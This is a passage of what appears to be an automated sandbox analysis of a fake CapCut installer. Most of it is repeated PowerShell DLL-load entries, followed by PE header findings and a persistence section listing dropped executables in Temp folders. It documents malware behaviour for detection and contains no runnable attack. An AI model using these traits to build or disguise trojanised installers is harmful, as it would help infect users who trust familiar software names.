      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
      Source: CapCut_12.0.4_Installer.exeStatic PE information: certificate valid
      Source: CapCut_12.0.4_Installer.exeStatic file information: File size 64795304 > 1048576
      Source: CapCut_12.0.4_Installer.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: vulkan-1.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
      Source: libEGL.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
      Source: libGLESv2.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
      Source: System.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xe5c7
      Source: ThemCiao.exe.4.drStatic PE information: real checksum: 0x109998 should be: 0x10bb6e
      Source: vk_swiftshader.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
      Source: vk_swiftshader.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
      Source: libGLESv2.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
      Source: elevate.exe.0.drStatic PE information: real checksum: 0x0 should be: 0x225bc
      Source: nsis7z.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x7611e
      Source: vulkan-1.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
      Source: libEGL.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
      Source: ffmpeg.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
      Source: ffmpeg.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
      Source: ffmpeg.dll.0.drStatic PE information: section name: .00cfg
      Source: ffmpeg.dll.0.drStatic PE information: section name: .gxfg
      Source: ffmpeg.dll.0.drStatic PE information: section name: .retplne
      Source: ffmpeg.dll.0.drStatic PE information: section name: _RDATA
      Source: libEGL.dll.0.drStatic PE information: section name: .00cfg
      Source: libEGL.dll.0.drStatic PE information: section name: .gxfg
      Source: libEGL.dll.0.drStatic PE information: section name: .retplne
      Source: libEGL.dll.0.drStatic PE information: section name: _RDATA
      Source: libGLESv2.dll.0.drStatic PE information: section name: .00cfg
      Source: libGLESv2.dll.0.drStatic PE information: section name: .gxfg
      Source: libGLESv2.dll.0.drStatic PE information: section name: .retplne
      Source: libGLESv2.dll.0.drStatic PE information: section name: _RDATA
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: .00cfg
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: .gxfg
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: .retplne
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: .rodata
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: CPADinfo
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: LZMADEC
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: _RDATA
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: section name: malloc_h
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .00cfg
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .gxfg
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .retplne
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: _RDATA
      Source: vulkan-1.dll.0.drStatic PE information: section name: .00cfg
      Source: vulkan-1.dll.0.drStatic PE information: section name: .gxfg
      Source: vulkan-1.dll.0.drStatic PE information: section name: .retplne
      Source: vulkan-1.dll.0.drStatic PE information: section name: _RDATA
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .00cfg
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .gxfg
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .retplne
      Source: ffmpeg.dll0.0.drStatic PE information: section name: _RDATA
      Source: libEGL.dll0.0.drStatic PE information: section name: .00cfg
      Source: libEGL.dll0.0.drStatic PE information: section name: .gxfg
      Source: libEGL.dll0.0.drStatic PE information: section name: .retplne
      Source: libEGL.dll0.0.drStatic PE information: section name: _RDATA
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .00cfg
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .gxfg
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .retplne
      Source: libGLESv2.dll0.0.drStatic PE information: section name: _RDATA
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: .00cfg
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: .gxfg
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: .retplne
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: .rodata
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: CPADinfo
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: LZMADEC
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: _RDATA
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: section name: malloc_h
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .00cfg
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .gxfg
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .retplne
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: _RDATA
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .00cfg
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .gxfg
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .retplne
      Source: vulkan-1.dll0.0.drStatic PE information: section name: _RDATA

      Persistence and Installation Behavior

      barindex
      Drops PE files with a suspicious file extension
      Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\530420\Classes.comJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources\elevate.exeJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\PhilipinessAvia Application.exeJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\ffmpeg.dllJump to dropped file
